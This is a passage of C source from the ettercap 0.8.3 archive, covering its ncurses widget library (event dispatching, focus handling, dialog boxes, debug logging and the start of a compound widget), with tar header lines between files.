wdg_cleanup(void) { /* can only cleanup if it was initialized */ if (!(current_screen.flags & WDG_SCR_INITIALIZED)) return; WDG_DEBUG_MSG("wdg_cleanup"); /* show the cursor */ curs_set(TRUE); /* clear the screen */ clear(); /* do the refresh */ refresh(); /* end the curses interface */ endwin(); /* wdg is not initialized */ current_screen.flags &= ~WDG_SCR_INITIALIZED; #ifdef NCURSES_MOUSE_VERSION /* reset the mouse event reception */ mousemask(0, (mmask_t *) 0); #endif WDG_DEBUG_CLOSE(); } /* * used to exit from the events_handler. * this function will put in the input buffer * the exit key, so the handler will get it * and perfrom a clean exit */ void wdg_exit(void) { WDG_DEBUG_MSG("wdg_exit"); /* put the exit key in the input buffer */ ungetch(wdg_exit_key); } /* * update the screen */ void wdg_update_screen(void) { WDG_LOCK; doupdate(); WDG_UNLOCK; } /* * called upon screen resize */ void wdg_redraw_all(void) { struct wdg_obj_list *wl; WDG_DEBUG_MSG("wdg_redraw_all"); /* remember the current screen size */ getmaxyx(stdscr, current_screen.lines, current_screen.cols); /* call the redraw function upon all the objects */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { WDG_BUG_IF(wl->wo->redraw == NULL); WDG_EXECUTE(wl->wo->redraw, wl->wo); } } /* * this function handles all the inputed keys * from the user and dispatches them to the * wdg objects */ int wdg_events_handler(int exit_key) { int key; struct wdg_mouse_event mouse; WDG_DEBUG_MSG("wdg_events_handler (%c)", exit_key); /* set the global exit key (used by wdg_exit()) */ wdg_exit_key = exit_key; /* infinite loop */ WDG_LOOP { /* get the input from user */ key = wgetch(stdscr); switch (key) { case KEY_TAB: /* switch focus between objects */ wdg_switch_focus(SWITCH_FOREWARD); /* update the screen */ WDG_LOCK; doupdate(); WDG_UNLOCK; break; case KEY_CTRL_L: /* redrawing the screen is equivalent to resizing it */ case KEY_RESIZE: /* the screen has been resized */ wdg_redraw_all(); /* update the screen */ WDG_LOCK; doupdate(); WDG_UNLOCK; break; case ERR: /* * non-blocking input reached the timeout: * call the idle function if present, else * sleep to not eat up all the cpu */ if (SLIST_EMPTY(&wdg_callbacks_list)) { /* sleep for milliseconds */ napms(WDG_INPUT_TIMEOUT * 10); /* XXX - too many refresh ? */ refresh(); } else { struct wdg_call_list *cl; SLIST_FOREACH(cl, &wdg_callbacks_list, next) cl->idle_callback(); } /* * update the screen. * all the function uses wnoutrefresh() funcions */ WDG_LOCK; doupdate(); WDG_UNLOCK; break; default: /* emergency exit key */ if (key == wdg_exit_key) return WDG_E_SUCCESS; #ifdef NCURSES_MOUSE_VERSION /* handle mouse events */ if (key == KEY_MOUSE) { MEVENT event; getmouse(&event); mouse_trafo(&event.y, &event.x, TRUE); mouse.x = event.x; mouse.y = event.y; mouse.event = event.bstate; } #else /* we don't support mouse events */ memset(&mouse, 0, sizeof(mouse)); #endif /* dispatch the user input */ wdg_dispatch_msg(key, &mouse); /* update the screen */ WDG_LOCK; doupdate(); WDG_UNLOCK; break; } } /* NOT REACHED */ return WDG_E_SUCCESS; } /* * add a function to the idle callbacks list */ void wdg_add_idle_callback(void (*callback)(void)) { struct wdg_call_list *cl; WDG_DEBUG_MSG("wdg_add_idle_callback (%p)", callback); WDG_SAFE_CALLOC(cl, 1, sizeof(struct wdg_call_list)); /* store the callback */ cl->idle_callback = callback; /* insert in the list */ SLIST_INSERT_HEAD(&wdg_callbacks_list, cl, next); } /* * delete a function from the callbacks list */ void wdg_del_idle_callback(void (*callback)(void)) { struct wdg_call_list *cl; WDG_DEBUG_MSG("wdg_del_idle_callback (%p)", callback); SLIST_FOREACH(cl, &wdg_callbacks_list, next) { if (cl->idle_callback == callback) { SLIST_REMOVE(&wdg_callbacks_list, cl, wdg_call_list, next); WDG_SAFE_FREE(cl); return; } } } /* * dispatch the user input to the list of objects. * first dispatch to the root_obj, if not handled * dispatch to the focused object. */ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse) { /* the focused object is modal ! send only to it */ if (wdg_focused_obj && (wdg_focused_obj->wo->flags & WDG_OBJ_FOCUS_MODAL)) { /* check the destroy callback */ if (wdg_focused_obj->wo && key == wdg_focused_obj->wo->destroy_key) { struct wdg_object *wo = wdg_focused_obj->wo; WDG_DEBUG_MSG("wdg_destroy_callback (%p)", wo); WDG_EXECUTE(wdg_focused_obj->wo->destroy_callback); wdg_destroy_object(&wo); wdg_redraw_all(); /* object was destroyed */ return; } /* deliver the message normally */ wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse); /* other objects must not receive the msg */ return; } /* * if it is a mouse event, we have to dispatch to all * the object in the list until someone handles it */ if (key == KEY_MOUSE) { struct wdg_obj_list *wl; /* * first dispatch to the root object, * since it is usually a menu, it may overlap * other objects and needs to get the event first */ if (wdg_root_obj != NULL) { if (wdg_root_obj->get_msg(wdg_root_obj, key, mouse) == WDG_E_SUCCESS) /* the root object handled the message */ return; } /* * then dispatch to the focused object. * it may overlap and needs to event before the others * to prevent an undesired raising of underlaying objects */ if (wdg_focused_obj != NULL) { if (wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse) == WDG_E_SUCCESS) /* the focused object handled the message */ return; } /* dispatch to all the other objects */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE) ) { if (wl->wo->get_msg(wl->wo, key, mouse) == WDG_E_SUCCESS) return; } } /* it is a keyboard event */ } else { /* first dispatch to the root object */ if (wdg_root_obj != NULL) { if (wdg_root_obj->get_msg(wdg_root_obj, key, mouse) == WDG_E_SUCCESS) /* the root object handled the message */ return; /* check the destroy callback */ if (key == wdg_root_obj->destroy_key) { WDG_EXECUTE(wdg_root_obj->destroy_callback); wdg_destroy_object(&wdg_root_obj); wdg_redraw_all(); return; } } /* * the root_object has not handled it. * dispatch to the focused one */ if (wdg_focused_obj != NULL) { if (wdg_focused_obj->wo->get_msg(wdg_focused_obj->wo, key, mouse) == WDG_E_SUCCESS) /* the focused object handled the message */ return; /* check the destroy callback */ if (wdg_focused_obj->wo && key == wdg_focused_obj->wo->destroy_key) { struct wdg_object *wo = wdg_focused_obj->wo; WDG_EXECUTE(wdg_focused_obj->wo->destroy_callback); wdg_destroy_object(&wo); wdg_redraw_all(); return; } } /* noone handled the message, flash an error */ flash(); beep(); } } /* * move the focus to the next object. * only WDG_OBJ_WANT_FOCUS could get the focus */ static void wdg_switch_focus(int type) { struct wdg_obj_list *wl; /* the focused object is modal ! don't switch */ if (wdg_focused_obj && (wdg_focused_obj->wo->flags & WDG_OBJ_FOCUS_MODAL)) return; /* if there is not a focused object, create it */ if (wdg_focused_obj == NULL) { /* search the first "focusable" object */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { if ((wl->wo->flags & WDG_OBJ_WANT_FOCUS) && (wl->wo->flags & WDG_OBJ_VISIBLE) ) { /* set the focused object */ wdg_focused_obj = wl; /* focus current object */ WDG_BUG_IF(wdg_focused_obj->wo->get_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->get_focus, wdg_focused_obj->wo); return; } } } /* unfocus the current object */ WDG_BUG_IF(wdg_focused_obj->wo->lost_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->lost_focus, wdg_focused_obj->wo); /* * focus the next/prev element in the list. * only focus objects that have the WDG_OBJ_WANT_FOCUS flag */ do { switch (type) { case SWITCH_FOREWARD: wdg_focused_obj = TAILQ_NEXT(wdg_focused_obj, next); /* we are at the end, move to the first element */ if (wdg_focused_obj == TAILQ_END(&wdg_objects_list)) wdg_focused_obj = TAILQ_FIRST(&wdg_objects_list); break; case SWITCH_BACKWARD: /* we are on the head, move to the last element */ if (wdg_focused_obj == TAILQ_FIRST(&wdg_objects_list)) wdg_focused_obj = TAILQ_LAST(&wdg_objects_list, wol); else wdg_focused_obj = TAILQ_PREV(wdg_focused_obj, wol, next); break; } } while ( !(wdg_focused_obj->wo->flags & WDG_OBJ_WANT_FOCUS) || !(wdg_focused_obj->wo->flags & WDG_OBJ_VISIBLE) ); /* focus current object */ WDG_BUG_IF(wdg_focused_obj->wo->get_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->get_focus, wdg_focused_obj->wo); } /* * set focus to the given object */ void wdg_set_focus(struct wdg_object *wo) { struct wdg_obj_list *wl; /* search the object and focus it */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { if ( wl->wo == wo ) { /* unfocus the current object */ if (wdg_focused_obj) WDG_EXECUTE(wdg_focused_obj->wo->lost_focus, wdg_focused_obj->wo); /* set the focused object */ wdg_focused_obj = wl; /* focus current object */ WDG_BUG_IF(wdg_focused_obj->wo->get_focus == NULL); WDG_EXECUTE(wdg_focused_obj->wo->get_focus, wdg_focused_obj->wo); return; } } } /* * create a wdg object */ int wdg_create_object(struct wdg_object **wo, size_t type, size_t flags) { struct wdg_obj_list *wl; WDG_DEBUG_MSG("wdg_create_object (%d)", type); /* alloc the struct */ WDG_SAFE_CALLOC(*wo, 1, sizeof(struct wdg_object)); /* set the flags */ (*wo)->flags = flags; (*wo)->type = type; /* call the specific function */ switch (type) { case WDG_COMPOUND: wdg_create_compound(*wo); break; case WDG_WINDOW: wdg_create_window(*wo); break; case WDG_PANEL: wdg_create_panel(*wo); break; case WDG_SCROLL: wdg_create_scroll(*wo); break; case WDG_MENU: wdg_create_menu(*wo); break; case WDG_DIALOG: wdg_create_dialog(*wo); break; case WDG_PERCENTAGE: wdg_create_percentage(*wo); break; case WDG_FILE: wdg_create_file(*wo); break; case WDG_INPUT: wdg_create_input(*wo); break; case WDG_LIST: wdg_create_list(*wo); break; case WDG_DYNLIST: wdg_create_dynlist(*wo); break; default: WDG_SAFE_FREE(*wo); return -WDG_E_FATAL; break; } /* alloc the element in the object list */ WDG_SAFE_CALLOC(wl, 1, sizeof(struct wdg_obj_list)); /* link the object */ wl->wo = *wo; /* insert it in the list */ TAILQ_INSERT_TAIL(&wdg_objects_list, wl, next); /* this is the root object */ if (flags & WDG_OBJ_ROOT_OBJECT) wdg_root_obj = *wo; return WDG_E_SUCCESS; } /* * destroy a wdg object by calling the callback function */ int wdg_destroy_object(struct wdg_object **wo) { struct wdg_obj_list *wl; WDG_DEBUG_MSG("wdg_destroy_object (%p)", *wo); /* sanity check */ if (*wo == NULL) return -WDG_E_NOTHANDLED; /* delete it from the obj_list */ TAILQ_FOREACH(wl, &wdg_objects_list, next) { if (wl->wo == *wo) { /* was it the root object ? */ if ((*wo)->flags & WDG_OBJ_ROOT_OBJECT) wdg_root_obj = NULL; /* it was the focused one */ if (wdg_focused_obj && wdg_focused_obj->wo == *wo) { /* remove the modal flat to enable the switch */ (*wo)->flags &= ~WDG_OBJ_FOCUS_MODAL; wdg_switch_focus(SWITCH_BACKWARD); } /* * check if it was the only object in the list * and it has gained the focus with the previous * call to wdg_switch_focus(); */ if (wl == wdg_focused_obj) wdg_focused_obj = NULL; /* remove the object */ TAILQ_REMOVE(&wdg_objects_list, wl, next); WDG_SAFE_FREE(wl); /* call the specialized destroy function */ WDG_BUG_IF((*wo)->destroy == NULL); WDG_EXECUTE((*wo)->destroy, *wo); /* free the title */ WDG_SAFE_FREE((*wo)->title); /* then free the object */ WDG_SAFE_FREE(*wo); return WDG_E_SUCCESS; } } return -WDG_E_NOTHANDLED; } /* * set the destroy key and callback */ void wdg_add_destroy_key(struct wdg_object *wo, int key, void (*callback)(void)) { wo->destroy_key = key; wo->destroy_callback = callback; } /* * set or reset the size of an object */ void wdg_set_size(struct wdg_object *wo, int x1, int y1, int x2, int y2) { /* set the new object cohordinates */ wo->x1 = x1; wo->y1 = y1; wo->x2 = x2; wo->y2 = y2; /* call the specialized function */ WDG_BUG_IF(wo->resize == NULL); WDG_EXECUTE(wo->resize, wo); } /* * display the object by calling the redraw function */ void wdg_draw_object(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_draw_object (%p)", wo); /* display the object */ WDG_BUG_IF(wo->redraw == NULL); WDG_EXECUTE(wo->redraw, wo); } /* * return the type of the object */ size_t wdg_get_type(struct wdg_object *wo) { return wo->type; } /* * set the color of an object */ void wdg_set_color(wdg_t *wo, size_t part, u_char pair) { switch (part) { case WDG_COLOR_SCREEN: wo->screen_color = pair; break; case WDG_COLOR_TITLE: wo->title_color = pair; break; case WDG_COLOR_BORDER: wo->border_color = pair; break; case WDG_COLOR_FOCUS: wo->focus_color = pair; break; case WDG_COLOR_WINDOW: wo->window_color = pair; break; case WDG_COLOR_SELECT: wo->select_color = pair; break; } } /* * init a color pair */ void wdg_init_color(u_char pair, u_char fg, u_char bg) { init_pair(pair, fg, bg); } /* * erase the screen with the specified color */ void wdg_screen_color(u_char pair) { wbkgd(stdscr, COLOR_PAIR(pair)); erase(); refresh(); } /* * set the object's title */ void wdg_set_title(struct wdg_object *wo, char *title, size_t align) { /* copy the values */ wo->align = align; WDG_SAFE_STRDUP(wo->title, title); } /* * functions to calculate real dimensions * from the given relative cohordinates */ size_t wdg_get_nlines(struct wdg_object *wo) { size_t a, b; int c = current_screen.lines; if (wo->y1 >= 0) a = wo->y1; else a = (c + wo->y1 > 0) ? (c + wo->y1) : 0; if (wo->y2 > 0) b = wo->y2; else b = (c + wo->y2 > 0) ? (c + wo->y2) : 0; /* only return positive values */ return (b > a) ? b - a : 0; } size_t wdg_get_ncols(struct wdg_object *wo) { size_t a, b; int c = current_screen.cols; if (wo->x1 >= 0) a = wo->x1; else a = (c + wo->x1 > 0) ? (c + wo->x1) : 0; if (wo->x2 > 0) b = wo->x2; else b = (c + wo->x2 > 0) ? (c + wo->x2) : 0; /* only return positive values */ return (b > a) ? b - a : 0; } size_t wdg_get_begin_x(struct wdg_object *wo) { int c = current_screen.cols; if (wo->x1 >= 0) return wo->x1; else return (c + wo->x1 >= 0) ? (c + wo->x1) : 0; } size_t wdg_get_begin_y(struct wdg_object *wo) { int c = current_screen.lines; if (wo->y1 >= 0) return wo->y1; else return (c + wo->y1 >= 0) ? (c + wo->y1) : 0; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_dialog.c0000644000175000017500000003326113505247364023331 0ustar koeppeakoeppea/* WDG -- dialog widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_button { char *label; char selected; void (*callback)(void); }; #define WDG_DIALOG_MAX_BUTTON 4 struct wdg_dialog { WINDOW *win; WINDOW *sub; size_t flags; char *text; size_t focus_button; struct wdg_button buttons[WDG_DIALOG_MAX_BUTTON]; }; /* PROTOS */ void wdg_create_dialog(struct wdg_object *wo); static int wdg_dialog_destroy(struct wdg_object *wo); static int wdg_dialog_resize(struct wdg_object *wo); static int wdg_dialog_redraw(struct wdg_object *wo); static int wdg_dialog_get_focus(struct wdg_object *wo); static int wdg_dialog_lost_focus(struct wdg_object *wo); static int wdg_dialog_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_dialog_border(struct wdg_object *wo); static void wdg_dialog_buttons(struct wdg_object *wo); static void wdg_dialog_get_size(struct wdg_object *wo, size_t *lines, size_t *cols); static void wdg_dialog_move(struct wdg_object *wo, int key); static int wdg_dialog_mouse_move(struct wdg_object *wo, struct wdg_mouse_event *mouse); static void wdg_dialog_callback(struct wdg_object *wo); /*******************************************/ /* * called to create a window */ void wdg_create_dialog(struct wdg_object *wo) { struct wdg_dialog *ww; WDG_DEBUG_MSG("wdg_create_dialog"); /* set the callbacks */ wo->destroy = wdg_dialog_destroy; wo->resize = wdg_dialog_resize; wo->redraw = wdg_dialog_redraw; wo->get_focus = wdg_dialog_get_focus; wo->lost_focus = wdg_dialog_lost_focus; wo->get_msg = wdg_dialog_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_dialog)); ww = (struct wdg_dialog *)wo->extend; /* initialize the labels, the other fields are zeroed by the calloc */ ww->buttons[0].label = " Ok "; ww->buttons[1].label = " Yes "; ww->buttons[2].label = " No "; ww->buttons[3].label = " Cancel "; } /* * called to destroy a window */ static int wdg_dialog_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); WDG_DEBUG_MSG("wdg_dialog_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); wbkgd(ww->sub, COLOR_PAIR(wo->screen_color)); werase(ww->sub); werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); /* free the text string */ WDG_SAFE_FREE(ww->text); WDG_BUG_IF(ww->text != NULL); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_dialog_resize(struct wdg_object *wo) { wdg_dialog_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_dialog_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); size_t c, l, x, y; size_t lines, cols; WDG_DEBUG_MSG("wdg_dialog_redraw"); /* calculate the dimension and position */ wdg_dialog_get_size(wo, &lines, &cols); /* center on the screen, but not outside the edges */ if (cols + 4 >= current_screen.cols) wo->x1 = 0; else wo->x1 = (current_screen.cols - (cols + 4)) / 2; wo->y1 = (current_screen.lines - (lines + 4)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; /* get the cohorditates as usual */ c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); /* deal with rouding */ if (l != lines + 4) l = lines + 4; if (c != cols + 4) c = cols + 4; /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_dialog_border(wo); wdg_dialog_buttons(wo); /* resize the actual window and touch it */ mvwin(ww->sub, y + 2, x + 2); wresize(ww->sub, l - 4, c - 4); /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_dialog_border(wo); wdg_dialog_buttons(wo); /* create the inner (actual) window */ if ((ww->sub = newwin(l - 4, c - 4, y + 2, x + 2)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); redrawwin(ww->sub); } /* print the message text */ wmove(ww->sub, 0, 0); wprintw(ww->sub, ww->text); /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_dialog_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_dialog_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_dialog_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_dialog_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_dialog_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_dialog, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { wdg_set_focus(wo); /* if the mouse click was over a button */ if (wdg_dialog_mouse_move(wo, mouse) == WDG_E_SUCCESS) wdg_dialog_callback(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_LEFT: case KEY_RIGHT: wdg_dialog_move(wo, key); wdg_dialog_redraw(wo); break; case KEY_RETURN: wdg_dialog_callback(wo); break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_dialog_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); size_t c = wdg_get_ncols(wo); /* fill the window with color */ wbkgdset(ww->win, COLOR_PAIR(wo->window_color)); werase(ww->win); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * set the dialog attributes and text message */ void wdg_dialog_text(wdg_t *wo, size_t flags, const char *text) { WDG_WO_EXT(struct wdg_dialog, ww); int first = 1; ww->flags = flags; WDG_SAFE_STRDUP(ww->text, text); /* mark the buttons to be used */ if (ww->flags & WDG_OK) { ww->buttons[0].selected = 1; if (first) { ww->focus_button = 0; first = 0; } } if (ww->flags & WDG_YES) { ww->buttons[1].selected = 1; if (first) { ww->focus_button = 1; first = 0; } } if (ww->flags & WDG_NO) { ww->buttons[2].selected = 1; if (first) { ww->focus_button = 2; first = 0; } } if (ww->flags & WDG_CANCEL) { ww->buttons[3].selected = 1; if (first) { ww->focus_button = 3; first = 0; } } } /* * returns how many lines and cols are necessary for displaying the message */ static void wdg_dialog_get_size(struct wdg_object *wo, size_t *lines, size_t *cols) { WDG_WO_EXT(struct wdg_dialog, ww); char *p; size_t t = 0, wwtextlen; /* initialize them */ *lines = 1; *cols = 0; /* * parse the text message and find how many '\n' are present. * also calculate the longest string between two '\n' */ wwtextlen = strlen(ww->text); for (p = ww->text; p < ww->text + wwtextlen; p++) { /* count the chars */ t++; /* at the newline (or end of string) make the calculus */ if (*p == '\n' || *(p + 1) == '\0') { (*lines)++; /* cols have to be the max line length */ if (*cols < t) *cols = t; /* reset the counter */ t = 0; } } /* if there were no '\n' */ if (*cols == 0) *cols = t; if (ww->flags != WDG_NO_BUTTONS) /* add the lines for the buttons */ *lines += 2; } /* * display the dialog buttons */ static void wdg_dialog_buttons(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); size_t i, l, c; /* no button to be displayed */ if (ww->flags == WDG_NO_BUTTONS) return; /* get the line of the message */ wdg_dialog_get_size(wo, &l, &c); /* calculate the length of the buttons */ for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) if (ww->buttons[i].selected) c -= strlen(ww->buttons[i].label); /* move the cursor to the right position (centered) */ wmove(ww->sub, l - 1, c / 2); /* print the buttons */ for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) { if (ww->buttons[i].selected) { if (ww->focus_button == i) wattron(ww->sub, A_REVERSE); wprintw(ww->sub, "%s", ww->buttons[i].label); wattroff(ww->sub, A_REVERSE); } } } /* * move the focus thru menu units */ static void wdg_dialog_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_dialog, ww); int i = ww->focus_button; switch(key) { case KEY_RIGHT: /* move until we found a selected button */ while (!ww->buttons[++i].selected); /* if we are in the edges, set the focus to the new button */ if ( i < WDG_DIALOG_MAX_BUTTON && ww->buttons[i].selected) ww->focus_button = i; break; case KEY_LEFT: /* move until we found a selected button */ while (!ww->buttons[--i].selected); /* if we are in the edges, set the focus to the new button */ if (i >= 0 && ww->buttons[i].selected) ww->focus_button = i; break; } } /* * select the focus with a mouse event */ static int wdg_dialog_mouse_move(struct wdg_object *wo, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_dialog, ww); size_t y = wdg_get_begin_y(wo); size_t x = wdg_get_begin_x(wo); size_t i, l, c; /* get the line of the message */ wdg_dialog_get_size(wo, &l, &c); /* not on the button line */ if (mouse->y != y + 2 + l - 1) return -WDG_E_NOTHANDLED; /* calculate the length of the buttons */ for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) if (ww->buttons[i].selected) c -= strlen(ww->buttons[i].label); /* buttons start here */ x += c / 2; for (i = 0; i < WDG_DIALOG_MAX_BUTTON; i++) { /* if the mouse is over a title */ if (mouse->x >= x && mouse->x < x + strlen(ww->buttons[i].label) ) { ww->focus_button = i; return WDG_E_SUCCESS; } /* move the pointer */ x += strlen(ww->buttons[i].label); } return -WDG_E_NOTHANDLED; } /* * destroy the dialog and * call the function associated to the button */ static void wdg_dialog_callback(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); void (*callback)(void); WDG_DEBUG_MSG("wdg_dialog_callback"); callback = ww->buttons[ww->focus_button].callback; wdg_destroy_object(&wo); wdg_redraw_all(); WDG_EXECUTE(callback); } /* * the user should use it to associate a callback to a button */ void wdg_dialog_add_callback(wdg_t *wo, size_t flag, void (*callback)(void)) { WDG_WO_EXT(struct wdg_dialog, ww); if (flag & WDG_OK) ww->buttons[0].callback = callback; if (flag & WDG_YES) ww->buttons[1].callback = callback; if (flag & WDG_NO) ww->buttons[2].callback = callback; if (flag & WDG_CANCEL) ww->buttons[3].callback = callback; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_debug.c0000644000175000017500000000516413505247364023161 0ustar koeppeakoeppea/* WDG -- debug module Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #ifdef DEBUG #ifdef HAVE_NCURSES #include #endif #include /* globals */ FILE *wdg_debug_file = NULL; /**********************************/ void wdg_debug_init(void) { wdg_debug_file = fopen ("libwdg-"LIBWDG_VERSION"_debug.log", "w"); WDG_ON_ERROR(wdg_debug_file, NULL, "Couldn't open for writing %s", "libwdg-"LIBWDG_VERSION"_debug.log"); fprintf (wdg_debug_file, "\n==============================================================\n"); fprintf (wdg_debug_file, "\n-> libwdg %s\n\n", LIBWDG_VERSION); #if defined (__GNUC__) && defined (__GNUC_MINOR__) fprintf (wdg_debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); #endif #if defined (__GLIBC__) && defined (__GLIBC_MINOR__) fprintf (wdg_debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); #endif #ifdef HAVE_NCURSES fprintf (wdg_debug_file, "-> %s\n", curses_version()); #endif fprintf (wdg_debug_file, "\n\nDEVICE OPENED FOR libwdg DEBUGGING\n\n"); fflush(wdg_debug_file); } void wdg_debug_close(void) { fprintf (wdg_debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); fflush(wdg_debug_file); fclose (wdg_debug_file); /* set it to null and check from other threads */ wdg_debug_file = NULL; } void wdg_debug_msg(const char *message, ...) { va_list ap; char debug_message[strlen(message)+2]; /* if it was closed by another thread on exit */ if (wdg_debug_file == NULL) return; memset(debug_message, 0, sizeof(debug_message)); strncpy(debug_message, message, sizeof(debug_message) - 2); strcat(debug_message, "\n"); va_start(ap, message); vfprintf(wdg_debug_file, debug_message, ap); va_end(ap); fflush(wdg_debug_file); } #endif /* DEBUG */ /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_compound.c0000644000175000017500000002710013505247364023711 0ustar koeppeakoeppea/* WDG -- compound widget (can contain other widgets) Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_compound_call { int key; void (*callback)(void); SLIST_ENTRY(wdg_compound_call) next; }; struct wdg_widget_list { struct wdg_object *wdg; TAILQ_ENTRY(wdg_widget_list) next; }; struct wdg_compound { WINDOW *win; struct wdg_widget_list *focused; TAILQ_HEAD(wtail, wdg_widget_list) widgets_list; SLIST_HEAD(, wdg_compound_call) callbacks; }; /* PROTOS */ void wdg_create_compound(struct wdg_object *wo); static int wdg_compound_destroy(struct wdg_object *wo); static int wdg_compound_resize(struct wdg_object *wo); static int wdg_compound_redraw(struct wdg_object *wo); static int wdg_compound_get_focus(struct wdg_object *wo); static int wdg_compound_lost_focus(struct wdg_object *wo); static int wdg_compound_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_compound_border(struct wdg_object *wo); static void wdg_compound_move(struct wdg_object *wo, int key); static int wdg_compound_dispatch(struct wdg_object 